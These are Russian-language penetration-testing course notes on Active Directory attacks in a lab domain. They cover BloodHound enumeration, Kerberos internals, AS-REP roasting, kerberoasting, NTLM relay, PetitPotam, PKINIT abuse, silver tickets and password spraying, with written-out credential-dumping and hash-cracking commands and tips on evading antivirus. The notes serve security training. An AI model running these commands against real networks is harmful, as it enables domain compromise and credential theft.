![](https://i.imgur.com/dlR6p3C.png) запустили субд в консольном режиме * .\neo4j.bat console ![](https://i.imgur.com/SvNvMv8.png) Перешли в браузер http://localhost:7474/ по дефолту neo4j:neo4j - логин и пароль Чето добавили javapath ![](https://i.imgur.com/9oqRr7d.jpg) ![](https://i.imgur.com/poktB1f.png) проверка создания переменных * set | findstr /I java Но роман их не создавал neo4j & субд работает Cлед шаг Чтобы подключится к субд надо скачать **клиента bloodhound** https://github.com/BloodHoundAD/BloodHound/releases/download/4.1.1/BloodHound-win32-x64.zip ![](https://i.imgur.com/qyb5cTu.png) Распаковываем и Запускаем BloodHound.exe ![](https://i.imgur.com/GDEFSUS.png) Это сервер блод хаунда - где будем парсить дамп. Лучше делать мощный сервер блод хаунда, иначе будет медленно дампить на мноого компов. ![](https://i.imgur.com/iYQ7OwC.png) Качаем sharpHound.ехе https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe Естественно бинарник палится - есть разные инструменты для обфускации https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html#sharphound-vs-antivirus ![](https://i.imgur.com/eXvzAS4.png) По мнению препода через эту ветку не палился https://github.com/BloodHoundAD/SharpHound3/tree/gentle_ldap Скачиваем, билдим **SharpHound** - инструмент для сбора информации Запускаем из папки где он находится, прописваем в пути: powershell -ep bypass Используем **runas** со своей недоменной тачки * runas /USER:LAB\user /netonly "powershell -ep bypass" ЕСть множество инструентов SharpHound, все флаги есть в справке https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html ![](https://i.imgur.com/b7h1Cbr.jpg) Мы можем комбинировать Сollection Method Использует ldap, rpc Если у нас пентест - то берел ALL, GPO groups - берем по максимуму инфу .\SharpHound.exe -c all,gpolocalgroup,localgroup ![](https://i.imgur.com/tGmvTHM.jpg) Соединился с ДК Заенумил домен и сформировал папку ![](https://i.imgur.com/kGP4HBe.png) ![](https://i.imgur.com/Y7XrZCL.png) Запуск sharpHound в цикле * C:\> SharpHound.exe --CollectionMethod LocalGroup --Loop https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html#loop `На большой домен надо 4 гига оперативки` Теперь копируем на сервер bloodHound & Upload data ![](https://i.imgur.com/5EGTToe.png) ![](https://i.imgur.com/AZWdjQ9.png) ![](https://i.imgur.com/TJxBh4N.png) Рекомендация - прощелкать все что тут есть ![](https://i.imgur.com/5fOajxw.jpg) Есть запрос(отображается внизу) - который мы можем редактировать В настройках включаем query debug mode & Always display -будет отображаться имя и Raq Query (запрос) ![](https://i.imgur.com/VEp9sgd.png) Пользователи имеющие право getChangesAll - можно делать DSCync ![](https://i.imgur.com/k1wsSp8.png) ![](https://i.imgur.com/lNssZ59.png) Короткие пути до домен админа ![](https://i.imgur.com/QJc4DH2.png) Редактируем запрос и копируем туда ( часто правят запрос) Can RDP - убираем, потому что для подключения по РДП надо повышаться Еще добавим в запрос права DCSync GetChanges ![](https://i.imgur.com/bFk2ay7.png) Подсказка как заобъюзить через хелп Выводит команды и доп инфу ![](https://i.imgur.com/OGoIt5i.png) Инфа о юзере ![](https://i.imgur.com/t62h3TC.png) Кто контролирует нашего юзера ![](https://i.imgur.com/Mc0IS5Q.jpg) Можно узнавать пути ![](https://i.imgur.com/KQWIIpe.png) Самые короткие пути сюда ![](https://i.imgur.com/0obpib2.png) IT admins - show path to here ![](https://i.imgur.com/gXTcPOb.png) ![](https://i.imgur.com/F14YSNS.png) Серверные ключи (шифруются все тгт билеты керберос) KRBTGT@lab.local ![](https://i.imgur.com/HHtJWv3.png) До объекта домена LAB.LOCAL ![](https://i.imgur.com/QqN0Rfu.png) ## Кастомные запросы https://github.com/SecureAuthCorp/impacket/pull/857 Пример: * MATCH p=(a:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(b:Computer) RETURN p -Комппьютер a - член группы- входит в группу локальных админов - компьютер b * MATCH p=(a:Computer)-[r:AdminTo]->(b:Computer) RETURN p - компьютер a - админ на - компьютер b **Если есть связи** то можно через Printer bug дернуть 1 комп и зарелеить на другой комп, с exchange такая штука часто прокатывает ![](https://i.imgur.com/vZETOq9.jpg) Какой компьютер админ на компьютере ![](https://i.imgur.com/JTnRQUF.png) Сохраняем свой запрос + выбираем категорию - dangerous rights ![](https://i.imgur.com/CJAFsDq.png) Можно задать файлик и оттуда брать кастомные запросы **Ссылки с кастомными запросами** https://twitter.com/n00py1/status/1508868743451090944?s=20&t=Uktx170vtJevUupg5qDYyw - крутые хинты https://github.com/SadProcessor/Cheats/blob/master/DogWhispererV2.md https://blog.compass-security.com/2020/07/make-the-most-out-of-bloodhound/ https://medium.com/@riccardo.ancarani94/bloodhound-tips-and-tricks-e1853c4b81ad https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/ https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-BloodHound-Cypher-Queries.md https://github.com/knavesec/Max - maximize bloodhound ``` В процессе постоянного изменения запроса кастомного , постоянно экспериментируя , изучая, смотря группы, к разным учеткам и тд, меняя, добавляя методы - в таком процессе мы получаем вектор, позволяющий домен скомпрометировать. Заметили интересную группу/юзера - помечаем как high well you 100% компрометация - от help desk, server admin, админов антивирусов, админов виртуализации. Нужно искать пути до их рабочих станций. Нешаблонно действуем. ``` **Инджесторы-коллекторс постоянно обновляются на винде** по этому на винде лучше запускать ![](https://i.imgur.com/zjG0UDs.png) ## bloodhound suggester for linux **Под линукс** не обновляется * pip3 install bloodhound ![](https://i.imgur.com/C7knkc6.jpg) ![](https://i.imgur.com/96RMoVW.png) * ./bloodhound-python -h * ./bloodhound-python -u user -d lab.local -p 'Password' ![](https://i.imgur.com/8UDFbYQ.png) Cобрал, Дальше в зип запаковать и скормить блодхаунду # Занятие 12. Kerberos Kerberoasting & Pass the Ticket. ВАЖНО ЗНАТЬ ГЛУБЖЕ ЭТОТ ПРОТОКОЛ Керберос (верс 5) - один из самых основных в АД протоколов ![](https://i.imgur.com/T6Roz9m.png) Смотрим РФС https://datatracker.ietf.org/doc/html/rfc4120 Здесь все написано. Если есть вопросы - то тут есть ответ. Какие ключи, как это все работает ![](https://i.imgur.com/31JPjB2.png) Имя из мифилогочии - назван в честь 3-х голового пса, который защищал вход в подземный мир. 3 головы кербероса: Клиент Сервер Довереннная 3 сторона - kDc (центр расрпеделения ключей) ![](https://i.imgur.com/6xRmxuo.png) Наиболее безопасный протокол аутентификации в виндовом домене. Использует симмметричную криптографию, он базируется на разделяемых секретных ключах ## kerberos infrastructure ![](https://i.imgur.com/oj9b6o3.png) Поддержка керберос встроена в АД , когда говорим **РЕАЛМ - это домен виндовс** Поддерживает аутентиф между доменами и лесами ![](https://i.imgur.com/S0TrePX.png) ИНформация аутентификационная / ключи для кербероса Хранится в AD Базе Данных NTDS. Домен контроллер выступает в роли центров распределения ключей **KDC** Каждый Запускает 2 сервиса: AS аутен service - использ для начальной доменной аутентификации TGS (ticket granting service) - обрабатывает аутен для доступа к разл сервисам Керберос еще Зависит от сервиса **net logon** **DNS** и **сервера времени** (они обычно на ДК запущены). ДНС нужен чтобы машинка нашла KDC. Сервер времени - расхождение с ДК не может быть больше 5 минут (kerberos time skew) Обычно они запущены в НТДС В керберосе критично время и важно, если будут расхожждения то будут ошибки. **ntpdate [DC-IP]** ПОльзователи которые использ керберос - должны быть в ад. ## Плюсы Керберос ![](https://i.imgur.com/8noGobj.png) * ССО - пользователь заходим на машинку и может иметь бесшумный доступ к разным сервисам, которые поддерживают керберос на протяжении 10 часов(по дефолту) * Делегация аутентификации- делегирование керберос (веб сервер сходить в бд от имени клиента подключаемого к серверу ) Система аутен построенная тикетах и пароли локально не хранятся. Взаимная аутентификация - клиент <- аутентификация -> сервер Метки времени, которые минимизирует возхможность реплея сообщений Стойкое шифрование АEС (гарантируется что надежно защищено от прослушивания и различных атак на криптографию) ![](https://i.imgur.com/ds7v0HO.png) Можно сравнить с банковскими картами , так и билетами в театр. Польз аутен и получает мастер тикет TGT, который действует 10 часов и хранится в локальной памяти компа. ПОльз использ ТГТ Билет может представить Сервису тгт билет и запросить сервисный билет ТГС ( использ банк карту(TGT) можем купить билет в театр и получаем доступ к театру(TGS)) к опред сервису на определенное время. Сервис тикет - Сервисный билет. Использует симметричное шифрование ![](https://i.imgur.com/VEhOTro.png) ДЛя зашифров использ 1 алгоритм и 1 ключ Поступает ключ и открытый текст В керберосе может использоваться ассиметричная криптография (она нужна чтобы передавать клюючи, которые используются в симметричной криптографии) . На одном можем зашифровать а на другом расшиФРОВАть. ![](https://i.imgur.com/gEIY6IU.png) ЧТобы работало шифрование - наш клиент и сервис должны использовать 1 алгоритм и стойкий тип шифрования поддерживаемый клиентом и сервером, дальше должны выработать ключ и должен распределитсья метод пердеачи ключа. Симметричные ключи получаются из паролей учетных записей . ## Терминология Кебероса ![](https://i.imgur.com/Mof9AZ6.png) Учетные записи / принципалы Сервисы Учетная запись KRBTGT Секретные ключи Тикеты Кэш учетных данных Как сообщения в керберос Устроены **Principal** ![](https://i.imgur.com/XxLfKO5.png) У пользака есть - UPN аттрибут в АД У сервиса есть - SPN Не может быть групп польз с одинак спн и юпн. **Service** ![](https://i.imgur.com/m0Fwthg.png) Представляет собой 2 сервиса Authentication Service - аутентифицирует клиентов и выписывает билеты ТГТ. Ticket Granting Service - выписывает билеты уже прошедшим аутентифицакию клиентам. С сервисными билетами клиенты идут на сервис. **KRBTGT account** ![](https://i.imgur.com/yzgFP8n.png) супер важная учетная запись **KRBTGT** она всегда выключена Бывает называется - KDC Service ![](https://i.imgur.com/k8zK4LN.png) ![](https://i.imgur.com/xTjc4Ii.png) Она выключена, ее нельзя переименовать и она всегда есть, использ для подписи ТГТ и ТГС и шифрования - на учетной записи krbtgt Шифруются все ТГТ билеты. При компрометации учетной записи KRBTGT - домен скомпрометирован. ![](https://i.imgur.com/To2EnG2.png) **Керберос ключи** ![](https://i.imgur.com/cQcFI53.png) 3 типа ключей: Долговременные симметричные ключи Долговременные ассимметричные ключи Короткоживущие симметричные сессионные ключи ![](https://i.imgur.com/kqlcMG9.png) Долговременные симметричные ключи Получает пароль польз и хранится в хэше учетных данных, когда польз входит в систему. Системный ключ получается из пароля системной учетной записи и хранится в памяти компа, так и на диске LSA secrets. Сервисный ключ получается из пароля сервисной учетной записи Интер-реалм кей - ключ, который получается из пароля специальной учетной записи Inter-realm trust account и Нужен для прохождения кросс доменной аутентификации между разными доменами. Ассиметричные ключи ![](https://i.imgur.com/8UeOYPY.png) Секретный ключ хранится на смарт карте и он неэкспортируем . Доступ может быть криптографичесим операциям по Пину. ![](https://i.imgur.com/bLT1DRu.png) Сессионные ключи - короткоживущие (действительны в течении 1 сеанса) Генерируются и используется для аутен процесса обмена , для шифрования таймстемпов, имени пользователя и других ключей. ## ТИКЕТЫ ![](https://i.imgur.com/tkinYge.png) Билет ТГТ - мастер тикет, Выписывается для запросы билета ТГС. Шифрован на ключе учетной записи krbtgt. Соответственно krbtgt может расшифровать ТГТ и получить доступ к его содержимому. Сервисный билет использ для аутен на сервисах и шифрованы на ключе сервисной учетной записи, под которой работает сервис. Сервис может сервисный билет расшифровать. Реферальные ТГТ / ИнтерРеал ТГТ и они используются для взаимодействия между доменами и аутентификации между ними и шифрованы на ИнтерРеалм ключе, который распределяется между двумя доменами. Все тикеты генерируются на КДЦ и хранятся в опер памяти клиента сессии ЛСА (в кеше учетных данных) **Как устроены тикеты** ![](https://i.imgur.com/9lXWC2w.jpg) ![](https://i.imgur.com/tLFXkGD.png) В паке содержится информация о пользователях, в каких он группах, Идентификатор польз, различн информация по входу ![](https://i.imgur.com/3GGsuz7.png) Кеш учетных даннх клиенты хранят секретные ключи и тикеты, которые получают с КДЦ Часть хранится в памяти процесса ЛСАС Кеш Никогда не сбрасывается на диск. При выключении - кеш удаляется. Системные и сервисные ключи хранятся в реестре и после перезагрузки они выживают. Их можно вытащить через **secretsdump** Сообщения керберос ![](https://i.imgur.com/lRZqqID.png) AS_REQ **предварительная аутентификация** ![](https://i.imgur.com/GYNxpyh.png) **Authenticator** ![](https://i.imgur.com/FM2d9Ey.png) Шифрован на сессионном ключе. Метка времени защизает от повторов 5 мин есть. Может сравнить пользователей **РАС** ![](https://i.imgur.com/aSLZznb.png) Содержит иныормацию о пользователе Содержит сид домена Возможна атака Сильвер тикет **Типы шифрования и ключи керберос** ![](https://i.imgur.com/Hiru5In.png) RC4 ключ - Сгенерируем нтхэш ![](https://i.imgur.com/CIA6iGp.png) НТХЭШ можем сгенерировать онлайн Получаем 32 байтное число AES ключ - считается Есть модуль на повершелле - **get-kerberos aes key** ![](https://i.imgur.com/LOcKOeu.png) ![](https://i.imgur.com/c1JoMZy.png) вычисляем AES key Ползователем юзер и унего есть атррибут ![](https://i.imgur.com/CsyqO34.png) Солью будет являться конкатенация полного имени домена и сам аккаунт керберос ![](https://i.imgur.com/CzITOih.png) Есть база выгруженная в нтдс дит (заранее сдампил с домена) ![](https://i.imgur.com/bwW8miV.jpg) secretsdump.py administrator@192.168.198.150 -outputfile lab.local ![](https://i.imgur.com/fM2IFwu.png) **Ключи считаются от пароля пользователя** Различные ошибки ![](https://i.imgur.com/eDaY39E.png) Когда польз нет в домене Вылезло за 5 минутный интервал Преалс ![](https://i.imgur.com/LGBfgSq.png) Керберос - Общая схема 1 шаг - преаус ( на этом шаге клиент шифрует метку времени ... и отрпавляет сообзщения ас рек на ДК. ДК смотрит асрек ,) вкладывает сессионный ключ , ![](https://i.imgur.com/L79Enlf.png) ![](https://i.imgur.com/cHjNFav.png) Сейчас смотрим в трафике. НАм нужны все ключи кербероса, всех сторон. Первое что делаем - сикретдамп с ДК И со второго ДК test.local - дампим Ставим утилиту **kutil** On Kali sudo apt install krb5-user мы сформируем фаул, где храннятся керберосные ключи ![](https://i.imgur.com/9GGW1Je.png) Грепаем все клюяи польз юзер Грепаем рабочую станцию Добавляем RC4 & AES ключ ktutil addent -p administrator@ADATUM.COM -k 1 -key -e rc4-hmac addent -p krbtgt@ADATUM.COM -k 1 -key -e aes256-cts-hmac-sha1-96 Потребуется польз юзер, крбтгт, ws (рабочая станция), ДК 1 домена, ДК 2 домена , ТЕСТ ![](https://i.imgur.com/nzYrenX.png) ![](https://i.imgur.com/S7jeAKS.png) Копируем и постепенно набтиваем в файл кетап ![](https://i.imgur.com/9Cr336e.png) kutil ![](https://i.imgur.com/78cPfoX.jpg) ![](https://i.imgur.com/A49YHD0.jpg) ![](https://i.imgur.com/Cop8Dx9.jpg) Roman Alferov, [6 июля 2022 г., 21:02:01]: wkt keytab_lab_new exit ![](https://i.imgur.com/MQOrlHb.jpg) Здесь список ключей Копируем кейт ап файл на домен контроллер Разлогиниваемся из тачки атакующ Запускаем вайр шарк ![](https://i.imgur.com/FoNBXQg.png) Идем ![](https://i.imgur.com/XCYpIfc.png) ![](https://i.imgur.com/e2bO9bC.png) Галочка - пробуем расшифровать и кейтап файлы Выполняем вход польз в систему ![](https://i.imgur.com/DIi3L2n.png) Трафик протокола керберос Преал аутентиф нужна для защиты от атаки (шифруем таймпстемп и отправляем на ДК) Преаус нужен для согласования шифра ![](https://i.imgur.com/REv3bRY.png) Все шлется на 88 тср порт ДК отвечает - что преаус обязятелен ![](https://i.imgur.com/SbY53jd.png) Я поддерживаю такие типы шифра, если такой шифр то соль такая **PaData** шифрованный на аес ключе = таймпстемп ![](https://i.imgur.com/QhCidOJ.png) А это если отключим расшифровку ![](https://i.imgur.com/5Jaawsh.png) Мы сами добавили в кейтап ключ польз предварительно самое главное - билет и шифрованная часть ![](https://i.imgur.com/lz65g71.png) Внутри ТГТ билета есть флаги Обратить внимание на флаг форвардер, если его не будет то будет ограниченное делегирование По терминологии майкрософт называет делегирование керберос Так устроен ТГТ билет. Важное - сессионный ключ ![](https://i.imgur.com/JjSPbWN.png) ПОльз получив асрек обратно , получив encrypted path Еще важно имя сервиса ![](https://i.imgur.com/VlRARzc.png) SPN - Маркер доступа пользователя ![](https://i.imgur.com/GkgXQzY.jpg) Часть доменный, часть лоакльные ![](https://i.imgur.com/PsT3OfM.png) Этот билет использ для Закешировались тикеты и ключи в оперативной памяти. Не зная сессионный ключ - аутентификацию не пройдет Идем в утилиту Мимикатз ![](https://i.imgur.com/Vm8TOQC.png) ![](https://i.imgur.com/EruDuv8.png) Привилегия отладки - позволяет обращаться к памяти люого процесса (если у польз есть привилегии отладки - то мы система) Логируем в файлик Дай мне керберос ключи ![](https://i.imgur.com/bAGcotv.png) Эскпортировать тикеты Через sekurlsa и свой тикет экспортировал ![](https://i.imgur.com/tgXTLnX.png) Обращаемся к сервису с польз тачки Я сервис и иду на ДК Залистил шару. Мы отправляем тгсрек. ![](https://i.imgur.com/LVCZGlF.png) ![](https://i.imgur.com/Jtekfm5.png) Мы хотим пойти на сервис Сервисы поддерживаемые керберосом ![](https://i.imgur.com/hTxei8q.jpg) СПН хост включает в себя кучу разных спн ![](https://i.imgur.com/hXWoxlC.png) Создается один общий ключ - Interreal key междоменный ключ Как происходит аутентификация Мы запрашиваем ТГС ## Атаки на АД - Керберос payloadallthethings AD ![](https://i.imgur.com/MzOPwno.png) еще один хороший репозиторий ![](https://i.imgur.com/TTwZZdA.png) желательно пройти каждую атаку ASREPRoasting ![](https://i.imgur.com/CSfYAr7.png) перевод в бинарный вид и разложить по флагам ![](https://i.imgur.com/7EX2Mvt.png) этот бит соответствует значению выше в скриншоте Этот битик означает что Атака АСРепроастинг (мы подбираем пароль к шифрованной части АСРЕП, ) ![](https://i.imgur.com/FpXYq3n.png) ![](https://i.imgur.com/7chsHOu.png) У всех этих учетных записей у которых юзер аккаунт контрол имеет GetNPUsers.py lab.local/user -dc-ip 192.168.198.150 ![](https://i.imgur.com/CnVrK6O.png) GetNPUsers.py lab.local/user -dc-ip 192.168.198.150 -request -outputfile as_reps.txt Можем запросить какого то контретного юзера(нам пароль и логин знать не нужно) и нам не нужна для этого доменного учетного ![](https://i.imgur.com/G2HCi1d.png) Далее берем хэшкет и ставим его на брут ![](https://i.imgur.com/T0W2zUb.png) ![](https://i.imgur.com/YzxnwGU.png) sudo hashcat -a 0 -w 4 -m 18200 as_reps.txt /usr/share/wordlists/rockyou.txt --force ![](https://i.imgur.com/2EbfDsY.jpg) Проверяем пароль ![](https://i.imgur.com/EujGMCN.png) ![](https://i.imgur.com/dnj3qOX.png) Все что по Лдап нашли - они подобрались MS KILE - спецификация майкрософт для расширения Керберос Если ищем багу в керберосе новую - она написана в делегации MS KILE # Занятие 13. Закрепление доступа и постэксплуатация в Windows ## NTLM Relay & Attack AD MS-NLMP - хотя бы форматы сообщений прочитать ![](https://i.imgur.com/kOMULtC.png) Документ в котором описан NTLM ![](https://i.imgur.com/CgzKWcU.png) ТTLM - классический криптограф протокол аутен типа запрос- ответ Сервер - клиент (шифруют на ключе) **Криптографический протокол - книга Черемушкин** Есть 3 типа сообщений ![](https://i.imgur.com/Jmr9kQR.png) NT hash - md4 от пароля Запрос на согласование - Бывает разных версий - завитил от шифрования challenge: LM NTLM NTLMv2 ![](https://i.imgur.com/zltie4T.jpg) Такие ЛМ хэши можно брутить по радужным ![](https://i.imgur.com/MLNKmGq.jpg) На 3 DES ключах шифрует Берем атакующего и идем по СМБ Переходя по ай пи - мы переходим по НТЛМ ![](https://i.imgur.com/zZMP9oA.jpg) ![](https://i.imgur.com/oYoHbBO.jpg) **challenge** случайно сгенерированное число 8 байт,сервер отправляет клиенту на шифрование, при составлении респонс ![](https://i.imgur.com/QrvONgV.png) **relay** ![](https://i.imgur.com/lWXsn2b.png) клиент идет на нас, мы идем на сервер и пересылаем сообщение клиента Мы пересылаем сообщение клиента в другую сессию. Протоколы могут быть разные В результате сервер думает - Мы - это клиент **NTLM Relay** **SMB-SMB классический релей** Спуфим лмнр, нбнс трафик ![](https://i.imgur.com/bVuUKIa.png) Редактируем конфиг респондера ![](https://i.imgur.com/IWDLchH.png) signing включен- релей нельзя ![](https://i.imgur.com/GBdKTU2.png) А на компе - можно релей Компьютеры с выключенной смб подписью ![](https://i.imgur.com/9Y1yTfT.png) ![](https://i.imgur.com/hNoCNKL.png) Встроенная в кали импакет ![](https://i.imgur.com/xXcUuzV.png) Скачанная с гитхаба ![](https://i.imgur.com/0PTQHXr.jpg) Загрузились разные клиенты куда будем релеить ![](https://i.imgur.com/7yBVPhk.png) Запускаем команду на добавление пользователя ![](https://i.imgur.com/dGN88mQ.png) -codec 866 (кодировка для кириллицы) Концептуально: Подключается по смб, создается новый сервис (он будет по систем svcctl) ![](https://i.imgur.com/3jWnDPn.png) ![](https://i.imgur.com/iUHw7GN.png) Был включен антивирус - отключили его ![](https://i.imgur.com/fosFtb6.png) Менее клакссический релей в **LDAP** протокол позволяет запрашивать и писать информацию в АД. Можем релеить ЛДАП, ЛДАПС Запускаем респондер и смотрим хэши админа домена. Релеим в ЛДАП ![](https://i.imgur.com/XEs9ed5.png) ![](https://i.imgur.com/p7y2NbQ.jpg) Сдампил всю информацию пользователя о домене Человек в бразуере опечатался, или через WPAD Чтобы создать пользователя нужно использовать именно **ldaps** Printer bug, pettit potam сервис webclient ![](https://i.imgur.com/AJucknC.png) Если он запущен, то можно заставить эту машинку - дернуть ручку и прийти в кали по протоколу http Скрипт позволяющий задетектить запущен ли веб клиент на машине webclientservicescanner lab.local/user:'Pa$$w0rd'@192.168.198.148 ![](https://i.imgur.com/S4XrK7C.jpg) https://github.com/Hackndo/WebclientServiceScanner Предварительно надо зарегестрировать кали в днс. Инструмент позволяющий дергать разные ручки. **PetitPotam** https://github.com/topotam/PetitPotam ![](https://i.imgur.com/6nPiqul.png) посылаем 2 ТГС запроса скрипт позволяющий запрашивать ТГС билеты ![](https://i.imgur.com/E0XHx3Y.jpg) ![](https://i.imgur.com/ivIu5P8.jpg) cache credential ![](https://i.imgur.com/RhsFp26.png) ![](https://i.imgur.com/flhBXFh.jpg) ![](https://i.imgur.com/bF7sQk2.png) экспортируем новый тгс билет ![](https://i.imgur.com/t1M01cE.png) Зашли по wmi exec ![](https://i.imgur.com/1hiask5.png) Cканим всю подсеть ![](https://i.imgur.com/EDK2s1X.png) Везде где Running написано - считаем что ![](https://i.imgur.com/Jr9ddTg.png) после э ![](https://i.imgur.com/mPYqAgV.png) ![](https://i.imgur.com/tNQacYL.png) Могу туда релеить пользов Мы дергаем домен контроллер 1, Говорим что будем Релеить в ХТТП ![](https://i.imgur.com/cKoJ8ym.png) Берем дергалку ПетитПотам ![](https://i.imgur.com/f3fLM8F.jpg) заставляем сервер прийти к нам по смб ![](https://i.imgur.com/erm8P8U.jpg) Зарелеили в PKINITtools https://github.com/dirkjanm/PKINITtools пробуем по сертификату получить тгт билет ![](https://i.imgur.com/MxXRGin.jpg) Мы получили тгт билет ![](https://i.imgur.com/QDAuWlg.png) Получаем НТ хэш учетной записи ![](https://i.imgur.com/60VyYxI.jpg) python3 gettgtpkinit.py lab.local/SRV01\$ -pfx-base64 `cat /home/kali/base64_new.txt` srv.ccache python3 getnthash.py -key 365d17e42f2938d44211ddfcb4d254c1644f9aa13a4e61ddf3cf401cba942308 'lab.local/SRV$' Руками формируем тикет, прописываем руками что мы домен админа Сильвер Тикет можно формировать через secretsdump^ либо mimikatz позволяет вытаскивать все сиды с домена ![](https://i.imgur.com/e9jXTWC.jpg) ![](https://i.imgur.com/0myWMUn.jpg) Тикет сформирован ![](https://i.imgur.com/x2jXHbe.png) ![](https://i.imgur.com/3s49OOQ.jpg) По началу не валидирует имя пользователя, но по истечению времени будет валидировать ![](https://i.imgur.com/GQzIUeP.png) ![](https://i.imgur.com/ksRO7sn.jpg) Тут Duration 10 лет На пентесте - юзать на здоровье, на Ред тиме - только мимикатз ![](https://i.imgur.com/lgmxeMV.png) ## Kerberoasting Как выглядит доступ к веб серверу ![](https://i.imgur.com/gHLsOtV.jpg) ![](https://i.imgur.com/9HnRh0W.jpg) ![](https://i.imgur.com/KtWamp2.jpg) ![](https://i.imgur.com/Zs7FUvC.jpg) ![](https://i.imgur.com/wQsZRFN.jpg) ![](https://i.imgur.com/YOtIjll.jpg) ![](https://i.imgur.com/IwzqW7c.jpg) ![](https://i.imgur.com/KByWlKU.jpg) Создадим сервисную учетку Отличие сервисной учетки от обычной - **spn** Без SPN керберос не сработает Берем Импакетовский СПН ![](https://i.imgur.com/kgnaA24.png) Этот скрипт может заенумить учетные записи, у которых есть спн ![](https://i.imgur.com/Al1cieF.png) Далее берем bloodHound ![](https://i.imgur.com/BzqfGHy.png) Далее для СПН можем запросить тгс билет ![](https://i.imgur.com/7aQv9Hw.jpg) ![](https://i.imgur.com/NcqZGWL.jpg) ![](https://i.imgur.com/zMdHCwH.png) Записали в файл ![](https://i.imgur.com/VRWaiMB.jpg) GetUserSPNs.py lab.local/user -request -outputfile tgs.txt ![](https://i.imgur.com/RTabR1P.jpg) Мы администраторы на домен контроллере ## Password Spraying **По СМБ** Берем 1 пароль и пробуем на все учетные записи (с учетом парольной политики) Получаем список учеток в смб с недоменной машины ![](https://i.imgur.com/HAAxTes.jpg) **по Керберос** **ropnop Kerbroot** ОЧень быстро работает ![](https://i.imgur.com/FLxcJZO.jpg) Пароли пробоовать можно - по месяцам, времени года, названии компании , комбинация назв комп и год и тд Куда копать и развиваться